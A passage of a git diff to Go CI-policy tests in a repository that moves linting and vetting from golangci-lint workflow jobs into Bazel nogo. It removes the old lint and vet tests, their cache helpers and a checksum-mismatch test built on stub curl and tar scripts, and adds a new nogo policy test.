"test-windows", "blacksmith-go-build-cache", "blacksmith-macos-go-build-cache"} { + for _, jobName := range []string{"test-windows", "blacksmith-go-build-cache", "blacksmith-macos-go-build-cache"} { job := workflow.job(t, jobName) if got := job.Strategy.Matrix.Venue; !equalStrings(got, []string{"blacksmith", "github"}) { t.Errorf("main.yml's %s matrix.venue = %v, want [blacksmith github]", jobName, got) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index c0aeaf076..afacfa1ba 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -9,7 +9,6 @@ import ( "path/filepath" "reflect" "regexp" - "runtime" "slices" "sort" "strconv" @@ -53,59 +52,16 @@ func TestCIWorkflowArtifactOwnership(t *testing.T) { } else { assertJobRunsExactly(t, workflow.job(t, "pr-policy-wrapper"), "make ci-pr-policy") } - assertJobRunsExactly(t, workflow.job(t, "pr-lint-wrapper"), "make ci-pr-lint") - - // F5.1: the duplicate whole-tree/diff-scoped `Lint` job (and its - // LINT gate id, pr.yml only) is folded into pr-lint-wrapper. - if _, found := workflow.Jobs["lint"]; found { - t.Errorf("%s has a %q job; its only-new-issues pass duplicates pr-lint-wrapper's native leg (H7) and was folded into it", workflowName, "lint") - } - - // F5.2: pr-lint-wrapper is a 3-leg matrix keyed on matrix.target, - // with BD_LINT_TARGETS telling scripts/pr-lint which legs to run. - lintWrapper := workflow.job(t, "pr-lint-wrapper") - if lintWrapper.Strategy.FailFast { - t.Errorf("%s pr-lint-wrapper strategy.fail-fast = true, want false", workflowName) - } - if want := []string{"native", "windows", "darwin"}; !equalStrings(lintWrapper.Strategy.Matrix.Target, want) { - t.Errorf("%s pr-lint-wrapper matrix.target = %v, want %v", workflowName, lintWrapper.Strategy.Matrix.Target, want) - } - if got := lintWrapper.step(t, "Run PR lint wrapper").Env["BD_LINT_TARGETS"]; got != "${{ matrix.target }}" { - t.Errorf("%s pr-lint-wrapper BD_LINT_TARGETS = %q, want %q", workflowName, got, "${{ matrix.target }}") - } - // N-5: a dropped GOCACHE env here silently stops the lint cache - // from doing anything (the step still passes; it just never - // reuses or populates the restored/saved directory). - if got, want := lintWrapper.step(t, "Run PR lint wrapper").Env["GOCACHE"], "${{ runner.temp }}/go-cache/lint-${{ matrix.target }}"; got != want { - t.Errorf("%s pr-lint-wrapper GOCACHE = %q, want %q", workflowName, got, want) - } - if got := lintWrapper.step(t, "Install golangci-lint").Run; got != "./scripts/ci/install-golangci-lint.sh" { - t.Errorf("%s pr-lint-wrapper installs golangci-lint with %q, want the pinned install script", workflowName, got) - } - // N-7. - if lintWrapper.TimeoutMinutes != 20 { - t.Errorf("%s pr-lint-wrapper timeout-minutes = %d, want 20 (matches scripts-go-checks)", workflowName, lintWrapper.TimeoutMinutes) + // Lint and vet are nogo inside Bazel (TestLintAndVetRunAsNogo): + // no workflow job runs golangci-lint or the retired lint and vet + // jobs. + for _, retired := range []string{"pr-lint-wrapper", "go-vet-cache", "scripts-go-checks", "lint"} { + if _, found := workflow.Jobs[retired]; found { + t.Errorf("%s has a %q job; lint and vet run as nogo in bazel.yml's test lane", workflowName, retired) + } } }) } - - if got := readCIWorkflow(t, "pr.yml").job(t, "pr-lint-wrapper").step(t, "Run PR lint wrapper").Env["BD_LINT_NEW_FROM_MERGE_BASE"]; got != "origin/main" { - t.Errorf("pr.yml pr-lint-wrapper BD_LINT_NEW_FROM_MERGE_BASE = %q, want origin/main (PR lane stays diff-scoped)", got) - } - if got := readCIWorkflow(t, "main.yml").job(t, "pr-lint-wrapper").step(t, "Run PR lint wrapper").Env["BD_LINT_NEW_FROM_MERGE_BASE"]; got != "" { - t.Errorf("main.yml pr-lint-wrapper BD_LINT_NEW_FROM_MERGE_BASE = %q, want unset", got) - } - // N-5: --new-from-merge-base in pr.yml's pr-lint-wrapper needs real - // history; a dropped fetch-depth: 0 would fail loudly (M3, a NIT-grade - // mutation per the review), but pin it anyway since it is part of the - // same wrapper contract as the GOCACHE pin above. - if got := readCIWorkflow(t, "pr.yml").job(t, "pr-lint-wrapper").Steps[0].With["fetch-depth"]; got != "0" { - t.Errorf("pr.yml pr-lint-wrapper checkout fetch-depth = %q, want %q", got, "0") - } - // go-vet-cache (N-7). - if job := readCIWorkflow(t, "main.yml").job(t, "go-vet-cache"); job.TimeoutMinutes != 20 { - t.Errorf("main.yml go-vet-cache timeout-minutes = %d, want 20 (matches scripts-go-checks)", job.TimeoutMinutes) - } } // TestPullRequestWorkflowsTriggerOnHotfixBranches is the #7148 regression. @@ -144,18 +100,22 @@ func TestPullRequestWorkflowsTriggerOnHotfixBranches(t *testing.T) { } } -func TestPRCIGateRequiresPolicyAndLintWrappers(t *testing.T) { +func TestPRCIGateDropsRetiredPolicyAndLintJobs(t *testing.T) { gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, "pr-lint-wrapper") { - t.Errorf("ci-gate needs %q: %v", "pr-lint-wrapper", gate.Needs) - } - if got, want := gateEnv["PR_LINT_WRAPPER"], "${{ needs.pr-lint-wrapper.result }}"; got != want { - t.Errorf("ci-gate env PR_LINT_WRAPPER = %q, want %q", got, want) - } - if !strings.Contains(gateEnv["CI_GATE_REQUIRED"], "PR_LINT_WRAPPER") { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", "PR_LINT_WRAPPER") + // The retired lint and vet jobs (now nogo in the Bazel test lane, which + // gates through BAZEL_TEST) must not linger in the gate. + for job, token := range map[string]string{"pr-lint-wrapper": "PR_LINT_WRAPPER", "scripts-go-checks": "SCRIPTS_GO_CHECKS"} { + if contains(gate.Needs, job) { + t.Errorf("ci-gate needs the retired %s: %v", job, gate.Needs) + } + if _, found := gateEnv[token]; found { + t.Errorf("ci-gate env still sets %s", token) + } + if contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), token) { + t.Errorf("ci-gate CI_GATE_REQUIRED still lists %s", token) + } } // The retired PR Policy job's checks gate through BAZEL_TEST (the Bazel @@ -185,214 +145,6 @@ func TestPRCIGateRequiresPolicyAndLintWrappers(t *testing.T) { } } -// F5.2/F5.7: the pinned golangci-lint install script's version and sha256 -// values must stay in sync with LINTING.md's documented version and with -// .githooks/pre-commit's `go run ...@`, and the three workflows that -// use the script (pr.yml, main.yml, ci-measurements.yml) must all call it -// instead of `go install`. -func TestGolangciLintInstallScriptPinned(t *testing.T) { - root := sourceRepoRoot(t) - script := readPolicyFile(t, root, "scripts/ci/install-golangci-lint.sh") - - const version = "2.10.1" - wantSHA256 := map[string]string{ - "amd64": "dfa775874cf0561b404a02a8f4481fc69b28091da95aa697259820d429b09c99", - "arm64": "6652b42ae02915eb2f9cb2a2e0cac99514c8eded8388d88ae3e06e1a52c00de8", - } - - if !strings.Contains(script, `readonly version="`+version+`"`) { - t.Errorf("install-golangci-lint.sh does not pin version %q", version) - } - for arch, sha := range wantSHA256 { - // The script maps arch to sha256 with a case arm, not `declare -A`, - // so it still parses under macOS's bash 3.2. - if !strings.Contains(script, arch+") printf '%s' \""+sha+"\"") { - t.Errorf("install-golangci-lint.sh does not pin %s sha256 %q", arch, sha) - } - } - - linting := readPolicyFile(t, root, "engdocs/LINTING.md") - if !strings.Contains(linting, "v"+version) { - t.Errorf("engdocs/LINTING.md does not mention v%s", version) - } - - preCommit := readPolicyFile(t, root, ".githooks/pre-commit") - if !strings.Contains(preCommit, "golangci-lint/v2/cmd/golangci-lint@v"+version) { - t.Errorf(".githooks/pre-commit does not pin golangci-lint @v%s", version) - } - // The hook stays on `go run` deliberately (CI-only RUNNER_TEMP/GITHUB_PATH - // requirement); it must not switch to the install script. - if strings.Contains(preCommit, "install-golangci-lint.sh") { - t.Error(".githooks/pre-commit must keep using `go run`, not the CI-only install script") - } - - for _, workflow := range []string{"pr.yml", "main.yml"} { - job := readCIWorkflow(t, workflow).job(t, "pr-lint-wrapper") - if got := job.step(t, "Install golangci-lint").Run; got != "./scripts/ci/install-golangci-lint.sh" { - t.Errorf("%s pr-lint-wrapper installs golangci-lint with %q, want the pinned install script", workflow, got) - } - } - measurements := readPolicyFile(t, root, ".github/workflows/ci-measurements.yml") - if strings.Contains(measurements, "go install github.com/golangci/golangci-lint") { - t.Error("ci-measurements.yml still uses go install for golangci-lint; use scripts/ci/install-golangci-lint.sh") - } - if !strings.Contains(measurements, "install-golangci-lint.sh") { - t.Error("ci-measurements.yml does not call scripts/ci/install-golangci-lint.sh") - } - - // SF-2: install-golangci-lint.sh and the "pr-lint wrapper" measurement run - // in the same shell block (not separate steps), so appending to - // $GITHUB_PATH (which only takes effect in later *steps*) is not enough; - // the script's install_dir must also be exported into this step's own - // PATH, after the install call and before the wrapper that needs it. - const ( - installMarker = "install-golangci-lint.sh" - pathExport = `export PATH="$RUNNER_TEMP/golangci-lint:$PATH"` - wrapperMarker = `ci_time "pr-lint wrapper"` - ) - installIdx := strings.Index(measurements, installMarker) - pathIdx := strings.Index(measurements, pathExport) - wrapperIdx := strings.Index(measurements, wrapperMarker) - if pathIdx < 0 { - t.Errorf("ci-measurements.yml does not export golangci-lint's install dir onto PATH in the same step (want %q)", pathExport) - } - if installIdx < 0 || wrapperIdx < 0 { - t.Fatalf("ci-measurements.yml missing expected markers: install=%d wrapper=%d", installIdx, wrapperIdx) - } - if !(installIdx < pathIdx && pathIdx < wrapperIdx) { - t.Errorf("ci-measurements.yml PATH export must sit between the golangci-lint install (%d) and the pr-lint wrapper call (%d); got PATH export at %d", installIdx, wrapperIdx, pathIdx) - } -} - -// TestInstallGolangciLintFailsClosedOnChecksumMismatch is the regression net -// for install-golangci-lint.sh's supply-chain gate (SF-3). Without it, nothing -// exercises the sha256 comparison's behavior -- TestGolangciLintInstallScriptPinned -// above only pins the hash strings as text, so e.g. replacing the comparison -// with an always-false condition passes every other test in this package. A -// fake curl hands the script a tarball whose content never matches either -// pinned hash; a fake tar makes extraction succeed anyway (so a bypassed check -// is exposed cleanly as "installed the wrong thing", not masked by tar -// choking on bad bytes), which is exactly the gap a real supply-chain attack -// (a compromised release asset, a MITM'd download) would exploit if the -// comparison were missing or broken. -func TestInstallGolangciLintFailsClosedOnChecksumMismatch(t *testing.T) { - bash := requireHostTool(t, "bash") - - bin := t.TempDir() - stateDir := t.TempDir() - runnerTemp := t.TempDir() - curlLog := filepath.Join(stateDir, "curl-calls") - tarLog := filepath.Join(stateDir, "tar-calls") - githubPath := filepath.Join(stateDir, "github-path") - for _, path := range []string{curlLog, tarLog, githubPath} { - if err := os.WriteFile(path, nil, 0o600); err != nil { - t.Fatal(err) - } - } - - // Writes fixed, wrong-checksum bytes to curl's -o target. Any download - // (first attempt or a retry) "succeeds" the same way, so the script - // reaches the sha256 comparison deterministically. - writeExecutable(t, filepath.Join(bin, "curl"), `#!/bin/sh -set -eu -printf '%s\n' "$*" >>"$GOLANGCI_INSTALL_CURL_LOG" -out="" -prev="" -for arg in "$@"; do - if [ "$prev" = "-o" ]; then - out="$arg" - fi - prev="$arg" -done -if [ -n "$out" ]; then - printf 'not the real golangci-lint release asset\n' >"$out" -fi -`) - // Materializes a plausible-looking extracted binary unconditionally, the - // way a real tarball's contents would after a successful `tar -xzf`. The - // script's sha256 check -- not tar's own format validation -- must be - // what stands between this fake binary and $RUNNER_TEMP/golangci-lint. - writeExecutable(t, filepath.Join(bin, "tar"), `#!/bin/sh -set -eu -printf '%s\n' "$*" >>"$GOLANGCI_INSTALL_TAR_LOG" -outdir="" -prev="" -for arg in "$@"; do - if [ "$prev" = "-C" ]; then - outdir="$arg" - fi - prev="$arg" -done -mkdir -p "$outdir/golangci-lint-2.10.1-linux-amd64" -cat >"$outdir/golangci-lint-2.10.1-linux-amd64/golangci-lint" <<'SCRIPT' -#!/bin/sh -printf 'golangci-lint has version 2.10.1 built from unknown\n' -SCRIPT -chmod +x "$outdir/golangci-lint-2.10.1-linux-amd64/golangci-lint" -`) - // Pins the platform so the asset name, arch lookup and extracted layout - // are fixed regardless of the machine running the test. - writeExecutable(t, filepath.Join(bin, "uname"), `#!/bin/sh -set -eu -case "${1:-}" in - -m) printf 'x86_64\n' ;; - *) printf 'Linux\n' ;; -esac -`) - - pathEnv := shellPathEnv() - binPath := shellPathUnderEnv(t, bash, bin, pathEnv) - statePath := shellPathUnderEnv(t, bash, stateDir, pathEnv) - commandPath := binPath + ":" + os.Getenv("PATH") + ":/usr/bin:/bin" - if runtime.GOOS == "windows" { - commandPath = binPath + ":/usr/bin:/bin" - } - root := sourceRepoRoot(t) - env := []string{ - "PATH=" + os.Getenv("PATH"), - "BEADS_TEST_COMMAND_PATH=" + commandPath, - "LC_ALL=C", - "LANG=C", - "BASH_ENV=", - "ENV=", - "RUNNER_TEMP=" + shellPathUnderEnv(t, bash, runnerTemp, pathEnv), - "GITHUB_PATH=" + statePath + "/github-path", - "GOLANGCI_INSTALL_CURL_LOG=" + statePath + "/curl-calls", - "GOLANGCI_INSTALL_TAR_LOG=" + statePath + "/tar-calls", - } - for _, name := range []string{"curl", "tar", "uname"} { - requireShellCommandPath(t, bash, root, env, name, binPath+"/"+name) - } - - cmd := bashScriptCommand(bash, "scripts/ci/install-golangci-lint.sh") - cmd.Dir = root - cmd.Env = env - output, runErr := cmd.CombinedOutput() - - if code := pullDoltExitCode(runErr); code == 0 { - t.Fatalf("exit = 0, want non-zero; output:\n%s", output) - } - if !strings.Contains(string(output), "sha256 mismatch") { - t.Errorf("output does not contain %q:\n%s", "sha256 mismatch", output) - } - if calls := readCallLines(t, tarLog); len(calls) != 0 { - t.Errorf("tar was invoked %d time(s), want 0 (the sha256 check must reject the download before extraction): %q", len(calls), calls) - } - if calls := readCallLines(t, curlLog); len(calls) == 0 { - t.Fatalf("curl was never invoked; test did not exercise the script's download path") - } - if entries, err := os.ReadDir(runnerTemp); err != nil { - t.Fatal(err) - } else if len(entries) != 0 { - t.Errorf("RUNNER_TEMP = %v, want empty (nothing installed on a checksum mismatch)", entries) - } - if data, err := os.ReadFile(githubPath); err != nil { - t.Fatal(err) - } else if len(data) != 0 { - t.Errorf("GITHUB_PATH = %q, want empty (nothing appended on a checksum mismatch)", data) - } -} - // TestReleaseCrossCompileRunsInBazelPureLane pins the release-target // cross-compilation gate into bazel.yml's pure-Go lane, whose job.status // ci-gate requires (BAZEL_PURE), and keeps the retired pr.yml job from @@ -1236,19 +988,13 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "test-windows"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), saveModuleCache(), saveBuildCacheDayBucketed("non-race"), }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "pr-lint-wrapper"), []goCacheStep{ - restoreModuleCache(), mainRestoreGolangciCache(), saveGolangciCache(), - }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "go-vet-cache"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreVetCache(), saveVetCache(), - }) // F4.7: seeds the module and xcompile caches pr.yml's windows-test-binaries // job only restores (PR workflows never save). assertGoCacheInventory(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreXCompileCache(), saveModuleCacheAfterFailure(), saveXCompileCache(), }) // F7b: race/non-race GOCACHE saves for same-repo PR consumers - // (scripts-go-checks, pr-preflight-platforms, check-doc-freshness-platforms) + // (pr-preflight-platforms, check-doc-freshness-platforms) // that run on Blacksmith, whose cache namespace is invisible to // GitHub-hosted build-artifacts; its github venue leg seeds the fork // path's race cache (build-artifacts seeds its non-race one). @@ -1275,11 +1021,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("race"), }) - // D2 step 3: PR Core's go vet; read-only like PR Core. - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "scripts-go-checks"), []goCacheStep{ - restoreModuleCache(), restoreVetCache(), - }) - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-lint-wrapper"), []goCacheStep{restoreModuleCache(), restoreGolangciCache()}) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) @@ -1322,7 +1063,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { "build-artifacts": true, "test": true, "test-windows": true, - "pr-lint-wrapper": true, "go-vet-cache": true, "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, + "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, "blacksmith-macos-go-build-cache": true, // F7c: blacksmith-setup-go-cache's own restore/save pair seeds the // self-defined blacksmith-sg-v1- cache namespace every advisory @@ -1334,9 +1075,9 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "blacksmith-setup-go-cache": true, }, "pr.yml": { - "build-artifacts": true, "pr-core-wrapper": true, "scripts-go-checks": true, "worktree-remove-windows": true, + "build-artifacts": true, "pr-core-wrapper": true, "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "advisory-reports": true, - "pr-lint-wrapper": true, "windows-test-binaries": true, + "windows-test-binaries": true, "test-windows-liveness": true, }, "pr-risk.yml": {"build-embedded": true}, @@ -1418,8 +1159,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheWriter(t, workflows["main.yml"], "test", mainBlacksmithMacOSTestRunsOn, "Save race Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goBuildCacheRestoreID("race")))) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) - assertGoCacheWriter(t, workflows["main.yml"], "pr-lint-wrapper", mainVenueBlacksmithUbuntu4vcpuRunsOn, "Save golangci-lint cache", failureSurvivingCacheSaveCondition(cacheMissCondition(golangciCacheRestoreID()))) - assertGoCacheWriter(t, workflows["main.yml"], "go-vet-cache", mainVenueBlacksmithUbuntu4vcpuRunsOn, "Save vet Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goVetCacheRestoreID()))) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save race Go build cache", saveBuildCacheAfterFailureIf("race", "matrix.flavor == 'race'").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "matrix.flavor == 'non-race'").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) @@ -1703,7 +1442,7 @@ func goBuildCacheKey(profile string) string { // goCacheDateSuffix is the key suffix for the day-bucketed caches saved by // main.yml's push-to-main-only Blacksmith seeders (blacksmith-go-build-cache, -// go-vet-cache, test-windows): bounded by go.sum content plus a UTC calendar +// test-windows): bounded by go.sum content plus a UTC calendar // day, not by commit sha, so an ordinary day of push traffic cannot exhaust // Blacksmith's 25 GB/week/repo cache quota the way a brand-new multi-GB entry // per push did (F7b review fix S7; measured ~1.74-2.4GB/push under the old @@ -1830,88 +1569,6 @@ func saveBuildCacheAfterFailureIf(profile, condition string) goCacheStep { return step } -// The go-vet-cache family (F5.3): a dedicated, go-vet-only GOCACHE restored -// by pr.yml's scripts-go-checks vet leg and warmed by main.yml's go-vet-cache -// job on push. There is deliberately no non-race-build-cache fallback restore -// key (SF-5): actions/cache versions each entry by its path list, and that -// cache saves to a different path, so a prefix fallback naming it could never -// hit. -const goVetCacheSchema = "v1" - -func goVetCachePrefix() string { - return "beads-go-vet-" + goVetCacheSchema + "-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-" + goBaseTag + "-vet-" -} - -func goVetCacheKey() string { return goVetCachePrefix() + "${{ github.sha }}" } - -// goVetCacheDayBucketedKey is goVetCacheKey with the S7 day-bucketed suffix -// (see goCacheDateSuffix), for main.yml's go-vet-cache seeder. -func goVetCacheDayBucketedKey() string { return goVetCachePrefix() + goCacheDateSuffix() } - -func goVetCacheRestoreKeys() string { return goVetCachePrefix() } - -func goVetCachePath() string { return "${{ runner.temp }}/go-cache/vet" } - -func goVetCacheRestoreID() string { return "restore-vet-go-build-cache" } - -func restoreVetCache() goCacheStep { - return goCacheStep{name: "Restore vet Go build cache", family: cacheRestoreActionFamily, key: goVetCacheKey(), restoreKeys: goVetCacheRestoreKeys(), path: goVetCachePath(), ifCondition: "matrix.check == 'vet'"} -} - -func mainRestoreVetCache() goCacheStep { - step := restoreVetCache() - step.id = goVetCacheRestoreID() - step.ifCondition = "" - step.key = goVetCacheDayBucketedKey() - return step -} - -func saveVetCache() goCacheStep { - return goCacheStep{name: "Save vet Go build cache", family: cacheSaveActionFamily, key: goVetCacheDayBucketedKey(), path: goVetCachePath(), ifCondition: failureSurvivingCacheSaveCondition(cacheMissCondition(goVetCacheRestoreID()))} -} - -// The golangci-lint cache family (F5.2): one cache per PR Lint matrix leg, -// keyed on file content and the leg. A miss on the exact content key falls -// back to the leg's prefix (its most recent entry); golangci-lint revalidates -// a restored cache against the current config and inputs, so a stale restore -// cannot mask an issue. pr.yml only ever restores; main.yml's matrix is the -// only saver. The key deliberately omits the commit sha (SF-4): with it, -// every green push to main saved a new multi-GB entry per leg regardless of -// whether lint's inputs changed; keying on content alone means a save only -// happens when .golangci.yml or go.sum change. Only the native leg's path -// includes the lint GOCACHE (SF-4): the windows/darwin legs cross-compile and -// their GOCACHE is large relative to the small golangci-lint result cache -// that is the part actually worth keeping warm for them. -func golangciCachePrefix() string { - return "beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-" -} - -func golangciCacheKey() string { - return golangciCachePrefix() + "${{ hashFiles('.golangci.yml', 'go.sum') }}" -} - -func golangciCacheRestoreKeys() string { return golangciCachePrefix() } - -func golangciCachePath() string { - return "~/.cache/golangci-lint\n${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }}\n" -} - -func golangciCacheRestoreID() string { return "restore-golangci-lint-cache" } - -func restoreGolangciCache() goCacheStep { - return goCacheStep{name: "Restore golangci-lint cache", family: cacheRestoreActionFamily, key: golangciCacheKey(), restoreKeys: golangciCacheRestoreKeys(), path: golangciCachePath()} -} - -func mainRestoreGolangciCache() goCacheStep { - step := restoreGolangciCache() - step.id = golangciCacheRestoreID() - return step -} - -func saveGolangciCache() goCacheStep { - return goCacheStep{name: "Save golangci-lint cache", family: cacheSaveActionFamily, key: golangciCacheKey(), path: golangciCachePath(), ifCondition: failureSurvivingCacheSaveCondition(cacheMissCondition(golangciCacheRestoreID()))} -} - // The Windows cross-compile GOCACHE (F4.4) is a separate cache dimension from // goBuildCache*'s base/race/non-race profiles: it is never shared with a // native build on the runner's own OS, so it gets its own key shape (no @@ -2140,8 +1797,8 @@ type ciWorkflowMatrix struct { Check []string `yaml:"check"` Group []string `yaml:"group"` // Venue and Flavor back main.yml's "venue matrix" (F7b spec §4) push-to- - // main-only Blacksmith cache savers: pr-lint-wrapper/go-vet-cache/ - // test-windows's `venue: [blacksmith, github]` and + // main-only Blacksmith cache savers: test-windows's + // `venue: [blacksmith, github]` and // blacksmith-go-build-cache's `flavor: [race, non-race]`. Pinned by // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete (F7b review B2/S7 // follow-up) so dropping either leg from these lists -- silently losing @@ -2588,7 +2245,7 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE // alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): -// pr-lint-wrapper, go-vet-cache, test-windows, blacksmith-go-build-cache and +// test-windows, blacksmith-go-build-cache and // blacksmith-macos-go-build-cache. const mainVenueBlacksmithUbuntu4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" @@ -2868,12 +2525,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "advisory-reports": sameRepoBlacksmith2vcpu, "check-doc-flags": sameRepoBlacksmith4vcpu, "windows-test-binaries": sameRepoBlacksmith8vcpu, - // F7b: scripts-go-checks/pr-lint-wrapper moved to same-repo - // Blacksmith now that main.yml's blacksmith-go-build-cache and - // pr-lint-wrapper `venue` matrix seed their Blacksmith-selection - // GOCACHEs. - "scripts-go-checks": sameRepoBlacksmith4vcpu, - "pr-lint-wrapper": sameRepoBlacksmith4vcpu, // F7b: same-repo Blacksmith Windows (blacksmith-*vcpu-windows-2025, // public beta). test-windows-liveness and worktree-remove-windows are // sized at 4vcpu (a build plus a focused test run each); @@ -2919,17 +2570,15 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "main.yml": { "blacksmith-setup-go-cache": "${{ 'blacksmith-4vcpu-ubuntu-2404' }}", "windows-test-binaries-cache": mainWindowsTestBinariesCacheRunsOn, - // F7b review (B2): these four push-to-main-only jobs seed the + // F7b review (B2): these push-to-main-only jobs seed the // Blacksmith-selection GOCACHEs same-repo PR/merge_group jobs - // above restore from (pr-lint-wrapper/go-vet-cache/test-windows's - // "venue" matrix, blacksmith-go-build-cache's own single leg). + // above restore from (test-windows's "venue" matrix, + // blacksmith-go-build-cache's own single leg). // Each is additionally guarded by a job-level // github.event_name == 'push' && github.ref == // 'refs/heads/main' && github.repository == 'gastownhall/beads' // if: (TestBlacksmithSaverJobsGuardedAgainstPullRequest below), // matching F7c's own saver convention. - "pr-lint-wrapper": mainVenueBlacksmithUbuntu4vcpuRunsOn, - "go-vet-cache": mainVenueBlacksmithUbuntu4vcpuRunsOn, "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, "blacksmith-go-build-cache": mainBlacksmithGoBuildCacheRunsOn, // Same guard, seeding pr.yml's same-repo macOS legs. diff --git a/scripts/embedded_shard_count_test.go b/scripts/embedded_shard_count_test.go index 3af9b1469..9820ed0ab 100644 --- a/scripts/embedded_shard_count_test.go +++ b/scripts/embedded_shard_count_test.go @@ -65,7 +65,7 @@ func bazelEmbeddedStorageShardCount(t *testing.T) int { // --check verifies only that the committed block names every discovered // test exactly once, failing with the exact command to fix it when a name // is missing, stale, or duplicated — run here so a drifted block fails `go -// test ./scripts/...` (and scripts-go-checks on fork PRs) instead of only +// test ./scripts/...` (//scripts:scripts_test under Bazel) instead of only // surfacing as a test silently never running in any shard. The legacy // blocks are deliberately excluded: both files document that their 20- and // 5-shard blocks are frozen (see .github/scripts/embedded-{cmd,storage}- diff --git a/scripts/nogo_lint_policy_test.go b/scripts/nogo_lint_policy_test.go new file mode 100644 index 000000000..7e06407ca --- /dev/null +++ b/scripts/nogo_lint_policy_test.go @@ -0,0 +1,109 @@ +package scripts_test + +import ( + "os" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// Lint and vet are nogo (//tools/nogo): go test's vet checks plus the +// golangci-lint linters .golangci.yml enables, validated beside every Go +// compile. bazel.yml's required lanes gate them: natively inside +// `bazel test //... --config=ci` (test lane), and for the files only other +// platforms compile inside the pure lane's release cross-compile +// (//tools/bazel:release_cross, every release platform). These pin that +// wiring and that golangci-lint is gone from CI, hooks and make. + +// nogoBazelrcLines are .bazelrc's nogo configs, exactly. +var nogoBazelrcLines = []string{ + "build:nogo --@rules_go//go/config:race", + "build:nogo --keep_going", + "build:nogo --output_groups=nogo_fix", + "build:nogo-cross --keep_going", + "build:nogo-cross --output_groups=nogo_fix", +} + +func TestLintAndVetRunAsNogo(t *testing.T) { + root := sourceRepoRoot(t) + + rc := readPolicyFile(t, root, ".bazelrc") + var got []string + for _, line := range strings.Split(rc, "\n") { + if line = strings.TrimSpace(line); strings.HasPrefix(line, "build:nogo") { + got = append(got, line) + } + } + if !equalStrings(got, nogoBazelrcLines) { + t.Errorf(".bazelrc nogo configs = %q, want %q", got, nogoBazelrcLines) + } + // Every lane validates: a lane that skipped nogo would let findings in + // the files only it compiles (integration-tagged, pure) through. + if strings.Contains(rc, "run_validations") { + t.Error(".bazelrc turns nogo validation off for some lane") + } + + // The cross-platform half: the pure lane's release cross-compile builds + // every library and binary for every release platform, and nogo + // validates each compile (TestReleaseCrossCompileRunsInBazelPureLane + // pins the step). Nothing on that path may opt out of validation. + if script := readPolicyFile(t, root, "scripts/ci/bazel-release-cross-compile.sh"); strings.Contains(script, "run_validations") { + t.Error("scripts/ci/bazel-release-cross-compile.sh turns nogo validation off") + } + for _, line := range strings.Split(rc, "\n") { + if strings.HasPrefix(strings.TrimSpace(line), "build:release-cross") && strings.Contains(line, "validation") { + t.Errorf(".bazelrc %q changes validation for the release cross-compile", line) + } + } + + // No workflow installs or runs golangci-lint. + entries, err := os.ReadDir(filepath.Join(root, ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + for _, e := range entries { + if !strings.HasSuffix(e.Name(), ".yml") { + continue + } + for name, j := range readCIWorkflow(t, e.Name()).Jobs { + for _, st := range j.Steps { + if 